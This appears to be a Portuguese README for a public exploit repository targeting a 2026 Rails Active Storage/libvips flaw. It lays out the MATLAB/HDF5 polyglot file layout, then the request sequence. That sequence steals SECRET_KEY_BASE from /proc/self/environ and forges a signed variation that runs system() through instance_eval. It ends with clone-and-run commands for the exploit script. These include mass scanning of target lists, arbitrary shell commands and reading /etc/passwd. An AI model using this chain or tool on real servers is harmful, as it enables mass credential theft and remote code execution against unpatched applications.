
CVE-2026-66066 — KindaRails2Shell: Leitura Arbitrária de Arquivos no Rails Active Storage/libvips → RCE. Arquivo de dupla identidade MATLAB/HDF5 → roubo de SECRET_KEY_BASE → variação forjada. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 é uma cadeia de severidade crítica (CVSS 9.5) de leitura arbitrária de arquivos sem autenticação para execução remota de código no Active Storage do Ruby on Rails, afetando Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 e 8.1.0–8.1.3 em sua configuração padrão.
A vulnerabilidade explora uma confusão de parser em quatro camadas entre Rails, libvips, libmatio e HDF5. Um arquivo especialmente criado com cabeçalho MATLAB 5.0 (satisfazendo o sniffer do libvips) e um contêiner HDF5 v7.3 (despachado pelo libmatio) contém um dataset externo apontando para um caminho de arquivo arbitrário no servidor. Quando o ActiveStorage processa esse arquivo como uma variante de imagem, os bytes do arquivo-alvo tornam-se pixels de imagem — permitindo leitura arbitrária de arquivos sem autenticação.
Uma vez que SECRET_KEY_BASE é recuperado de /proc/self/environ ou de arquivos de credenciais, o atacante deriva a chave de verificação do Active Storage e forja um JSON de variação assinado contendo instance_eval, alcançando execução remota de código.
Instalações afetadas: 500K+ aplicações Rails (padrão do Rails 7+:
variant_processor = :vips) Descoberta por: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, julho de 2026 Correção: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 de julho de 2026)
| Versão | Vulnerável | Corrigida |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x afetado somente se variant_processor = :vips foi habilitado manualmente.
Descoberta por: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph PoC de referência: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
O exploit encadeia duas discordâncias independentes de content-type entre quatro componentes:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
| Bytes | Finalidade | Valor |
|---|---|---|
| 0–9 | sniffer do libvips | MATLAB 5.0 |
| 10–123 | Padding | Espaços |
| 124–125 | despachante do libmatio | 0x0200 (HDF5 v7.3) |
| 126–127 | marcador de endianness | 0x4d49 (IM) |
| 128–511 | userblock HDF5 | Padding |
| 512+ | superblock HDF5 | Contêiner com dataset externo |
"Nenhum writer legítimo emite ambos MATLAB 5.0 no byte 0 e 0x0200 no byte 124."
Blob#variable? confia na coluna do banco de dados preenchida no momento do upload direto. Nenhum byte é examinado.Vips::Image.new_from_file itera sobre os loaders; o sniffer do matload verifica apenas 10 bytes.0x0200 seleciona o backend HDF5 independentemente do texto descritivo.H5Pset_external permite que os bytes brutos de um dataset residam em um arquivo externo arbitrário. O libmatio chama H5Dread sem verificar H5Pget_external_count.Transformers::Vips herda validate_transformation da classe base, que apenas bloqueia combine_options. Nomes de métodos arbitrários passam direto para Vips::Image.public_send.1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
| Arquivo | Finalidade |
|---|---|
activestorage/app/models/active_storage/blob.rb | variable? confia na coluna content_type |
activestorage/app/models/active_storage/blob/representable.rb | A rota de representação resolve blob + variação de forma independente |
activestorage/app/models/active_storage/variation.rb | decode verifica a chave de variação; sem referência cruzada ao blob |
image_processing/lib/image_processing/transformers/vips.rb | Sem allowlist de métodos — herda o comportamento da classe base |
libvips/foreign/matload.c | vips__mat_ismat analisa apenas os primeiros 10 bytes |
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5